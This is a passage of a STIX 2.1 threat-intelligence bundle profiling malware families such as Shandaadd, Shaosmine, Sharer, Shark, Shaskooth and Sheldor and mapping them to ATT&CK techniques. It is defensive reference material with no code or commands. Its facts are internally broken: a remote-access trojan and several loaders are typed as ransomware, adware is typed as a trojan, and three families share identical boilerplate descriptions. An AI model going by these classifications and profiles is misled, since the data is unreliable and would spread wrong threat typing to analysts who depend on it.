      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shakblades exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aef620ae-d348-5989-800a-37f126340630",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f19ffcf3-290b-5513-8beb-3ea8af1ba8d6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shakblades exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4029386f-d5ec-5191-8b5f-9c612df2fbbe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f19ffcf3-290b-5513-8beb-3ea8af1ba8d6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shakblades exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6df65d14-fbfc-5fdd-98f4-6c8e01d43e5c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f19ffcf3-290b-5513-8beb-3ea8af1ba8d6",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shakblades exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--202ddd28-7fed-5d7f-91f2-1953ddd03f5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f19ffcf3-290b-5513-8beb-3ea8af1ba8d6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shakblades exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6baa2eed-b84b-5348-bcfb-0df109f88c09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shandaadd",
      "description": "Adware:Win32/Shandaadd is a persistent adware framework and Potentially Unwanted Program (PUA) designed to silently hijack web browsers, inject intrusive advertisements, alter search results, and aggressively track user browsing habits to generate illicit pay-per-click revenue for its operators. It is often associated with localized, region-specific adware campaigns.<br><br><b>Understanding Shandaadd Adware</b><br>To an end-user, a Shandaadd infection is highly frustrating. Their web browsing experience is completely subverted: words on normal websites are turned into hyperlinked ads, massive banner ads appear everywhere, and their default search engine is locked to an unwanted portal. For security analysts, Shandaadd represents a classic Pay-Per-Install (PPI) monetization scheme, utilizing rootkit-like persistence to prevent easy removal.<br><br><b>Execution and Hijacking Mechanics</b><br>Shandaadd is heavily distributed via deceptive software bundlers (`T1189`) on third-party freeware sites. Upon execution, the installer uses 'Dark Patterns' to bypass user consent. It drops its payload into `C:\\Program Files` and establishes aggressive persistence via hidden Windows Services (`T1543.003`) and multiple Registry Run keys. It installs rogue Browser Helper Objects (BHOs) and extensions (`T1176`) to intercept all web traffic (`T1185`), injecting its advertisements directly into the DOM of the websites the user visits. Crucially, the watchdog service will immediately reinstall the browser extensions if the user attempts to delete them.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy (all searches are tracked and monetized), and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic to known adware affiliate networks (often routing through tracking domains). EDR logs will flag the installation of the Shandaadd service and the persistent hooking of the browser processes. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shandaadd",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shandaadd"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cff69d9b-59f5-5075-9a8a-f519a3b125da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6baa2eed-b84b-5348-bcfb-0df109f88c09",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shandaadd exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2235e4f-8900-5c98-949e-f48c3bc6b506",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6baa2eed-b84b-5348-bcfb-0df109f88c09",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shandaadd exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01026ca5-3770-5d52-ba75-e41efbae19f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6baa2eed-b84b-5348-bcfb-0df109f88c09",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shandaadd exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Watchdog))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--47ecd7c1-1862-5f60-add5-79657a26f3de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6baa2eed-b84b-5348-bcfb-0df109f88c09",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shandaadd exhibits technique T1185 (Browser Session Hijacking (Ad injection))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2f17b0a7-9302-53f3-9944-35fbc28a6111",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shaosmine",
      "description": "Trojan:Win32/Shaosmine is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Shaosmine</b><br>To an end-user, a Shaosmine infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Shaosmine is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Shaosmine is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Shaosmine frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Shaosmine reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shaosmine",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shaosmine"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ced56c5-f0c2-5b61-8641-39f5f6864584",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2f17b0a7-9302-53f3-9944-35fbc28a6111",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shaosmine exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d21ad9f-241d-5ac9-b53a-b10ec1323a8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2f17b0a7-9302-53f3-9944-35fbc28a6111",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shaosmine exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6901d601-5634-5374-8b9f-50db82c51a23",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2f17b0a7-9302-53f3-9944-35fbc28a6111",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shaosmine exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2678309-1a31-5880-ac31-23288e43e187",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2f17b0a7-9302-53f3-9944-35fbc28a6111",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shaosmine exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--31507977-9e79-5d5b-9c6a-0dda6ed98910",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2f17b0a7-9302-53f3-9944-35fbc28a6111",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shaosmine exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--32c738d5-899c-500f-9d5b-b9e19043d6f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sharer",
      "description": "<h3>Executive Summary</h3>\nSharer (often detected as Worm.P2P.Sharer or Trojan.Sharer) represents a family of legacy worms specifically engineered to exploit the decentralized nature of Peer-to-Peer (P2P) file-sharing networks (such as eMule, Kazaa, Limewire, or BitTorrent). By masquerading as highly desirable, pirated content, Sharer tricks users into downloading and executing the malware, subsequently hijacking the user's P2P client to distribute itself to thousands of other victims.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nThe primary infection vector is entirely reliant on user deception. The malware is uploaded to P2P networks with enticing, frequently changing filenames (e.g., \"Windows_10_Crack.exe\", \"Photoshop_Keygen.exe\", or titles of recently released movies/music).\n\nUpon execution, Sharer focuses on rapid, automated propagation:\n<ul>\n<li><strong>P2P Client Hijacking:</strong> The worm actively searches the infected system for the installation directories and shared folders of popular P2P clients.</li>\n<li><strong>Automated Seeding:</strong> Once the shared folders are located, the worm copies its executable into them, often generating hundreds of copies with dynamically generated, clickbait filenames. It then forces the P2P client to actively \"seed\" (upload) these malicious files to the broader network.</li>\n<li><strong>Secondary Payloads:</strong> While the primary function is propagation, Sharer worms frequently act as loaders, downloading secondary payloads such as Adware (to generate pay-per-install revenue for the author) or Info-stealers (to harvest credentials).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile the prominence of traditional P2P networks has declined in favor of streaming services, the tactic remains viable on modern torrent networks. A Sharer infection exposes the corporate network to significant legal liability (due to the active distribution of pirated/malicious files) and serves as an open door for more severe, secondary malware infections.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Network Blocking (P2P):</strong> The most effective defense is perimeter-level blocking. Enterprise firewalls and web gateways must be configured to strictly block the protocols and ports associated with P2P file sharing (e.g., BitTorrent).</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting to prevent standard users from installing unauthorized P2P client software on corporate assets.</li>\n<li><strong>Endpoint Cleanup:</strong> Utilize enterprise anti-malware solutions to scan for and remove the Sharer executables, paying special attention to user profile directories (like `%AppData%`) where the worm often hides its payload and generated copies.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm.P2P.Sharer",
        "Trojan.P2P",
        "Win32/Sharer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sharer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sharer"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34e91121-2fb4-5c01-a282-cbad90d73b6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--32c738d5-899c-500f-9d5b-b9e19043d6f0",
      "target_ref": "attack-pattern--20e5386c-6e50-506e-97e9-42f037007043",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sharer exhibits technique T1566 (Phishing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--52252110-bbc3-58f7-8c21-4dcef32c2a52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--32c738d5-899c-500f-9d5b-b9e19043d6f0",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sharer exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9071f06e-0f8e-5ba8-bf0d-2bcd9746ed19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--32c738d5-899c-500f-9d5b-b9e19043d6f0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sharer exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--72b02404-240b-5c96-aafb-2913b60d91e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shark",
      "description": "<h3>Executive Summary</h3>\nShark is a versatile and widely distributed Remote Access Trojan (RAT) family. Originating from underground hacker forums, it is designed to provide threat actors with complete, stealthy administrative control over compromised Windows endpoints. It is frequently utilized in cyber espionage, financial fraud, and as an initial beachhead for ransomware deployment.\n\n<h3>Technical Architecture and Capabilities</h3>\nShark RAT employs a classic client-server architecture. The malware payload (the \"server\") infects the victim's machine, silently establishing a reverse connection back to the attacker's administration panel (the \"client\").\n\nOnce persistence is established\u2014typically via the Windows Registry (`HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`) or hidden scheduled tasks\u2014Shark provides an extensive suite of malicious capabilities:\n<ul>\n<li><strong>System Surveillance:</strong> Real-time keylogging, remote desktop viewing, and the unauthorized activation of integrated webcams and microphones.</li>\n<li><strong>Data Exfiltration:</strong> Covert file managers that allow the attacker to browse the file system, steal sensitive documents, and upload secondary payloads (like credential stealers or crypto-miners).</li>\n<li><strong>Evasion Techniques:</strong> Many variants of Shark incorporate anti-analysis routines, detecting the presence of virtual machines (VMs) or security sandboxes and terminating execution to evade detection by automated analysis tools.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nAn active Shark RAT infection results in a total loss of data confidentiality and system integrity. Because the attacker has interactive, GUI-based access to the endpoint, they can bypass local security controls, pivot to other machines on the network, and exfiltrate highly sensitive corporate intellectual property.\n\n<h3>Detection and Remediation</h3>\n<ul>\n<li><strong>Network Traffic Analysis:</strong> Monitor edge firewalls for anomalous, sustained outbound connections over non-standard ports, which are indicative of the reverse shell connecting back to the Shark C2 infrastructure.</li>\n<li><strong>Behavioral Endpoint Detection:</strong> Utilize EDR platforms tuned to detect processes attempting to access hardware (webcams/microphones) without user authorization, or anomalous processes launching command shells (`cmd.exe`).</li>\n<li><strong>Complete Remediation:</strong> Due to the extensive capabilities of a RAT, removing the initial executable is often insufficient. A complete wipe and re-image of the compromised endpoint is the recommended remediation strategy to guarantee eradication.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "RAT.Shark",
        "Trojan.SharkRAT",
        "Win32/Shark"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shark",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shark"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4895a750-c97a-586f-b87f-17340eacd406",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72b02404-240b-5c96-aafb-2913b60d91e9",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shark exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6a369a1-9cea-5bfa-bb98-b9fb1fa18a3d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72b02404-240b-5c96-aafb-2913b60d91e9",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shark exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9562ac5-1032-57d3-a2d8-e4af58253e33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72b02404-240b-5c96-aafb-2913b60d91e9",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shark exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd500a6e-8f48-503e-9f91-0694d01c7f1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--72b02404-240b-5c96-aafb-2913b60d91e9",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shark exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--00e0322f-835b-5351-a332-3412d7246392",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Shaskooth",
      "description": "Trojan:Win32/Shaskooth is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Shaskooth</b><br>To an end-user, a Shaskooth infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Shaskooth is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Shaskooth is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Shaskooth frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Shaskooth reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Shaskooth",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/shaskooth"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f70c6f8-5f7d-5111-aded-e9c2cc6b573e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--00e0322f-835b-5351-a332-3412d7246392",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shaskooth exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21334681-6be3-5ddc-9b49-2c163d57e81a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--00e0322f-835b-5351-a332-3412d7246392",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shaskooth exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cdfaa996-561d-5db4-b906-4c666db5befe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--00e0322f-835b-5351-a332-3412d7246392",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shaskooth exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2bd69f0-da11-519c-8a36-32d1db6395c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--00e0322f-835b-5351-a332-3412d7246392",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shaskooth exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3890fe02-d9c7-5b52-b074-1daf9558df31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--00e0322f-835b-5351-a332-3412d7246392",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Shaskooth exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--82a1f717-3a9c-5d8e-821f-bb51cfb1a8c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sheldor",
      "description": "Trojan:Win32/Sheldor is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Sheldor</b><br>To an end-user, a Sheldor infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Sheldor is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Sheldor is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Sheldor frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Sheldor reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sheldor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sheldor"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4fd73d89-cb51-574a-a455-105f6cfd12a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82a1f717-3a9c-5d8e-821f-bb51cfb1a8c7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sheldor exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d6e94dd4-a37f-5698-ad30-aed66a0d9770",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82a1f717-3a9c-5d8e-821f-bb51cfb1a8c7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sheldor exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc10bbc7-ed2a-5154-a008-18cba33a8624",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
